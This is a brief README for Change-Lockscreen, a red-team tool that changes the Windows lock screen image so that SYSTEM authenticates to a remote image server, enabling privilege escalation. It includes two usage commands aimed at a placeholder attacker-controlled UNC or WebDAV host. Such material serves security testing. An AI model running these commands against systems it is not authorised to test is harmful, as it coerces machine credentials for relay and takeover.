Change-Lockscreen is a tool to trigger network authentications as SYSTEM by changing the Windows lock screen image from the command line to perform privilege escalation attacks such as the one described in the post linked below:
By default, Windows 10 has a feature called Windows Spotlight. It downloads and displays lock screen images automatically.
- When this feature is enabled, Change-Lockscreen will disable it and establish the image specified in the arguments
- Otherwise if the user has a custom lock screen image, Change-Lockscreen will be in charge to run a backup of it, trigger the network authentication, and establish it again
Note: while the PowerShell version of the tool works reliably, the C# version sometimes fails to restore the original image.
Change-Lockscreen -FullPath \\[imageserver]@[port]\[fakePath]\[image.jpg] Change-Lockscreen -Webdav \\[imageserver]@[port]\
- Simone Salucci
- Daniel López Jiménez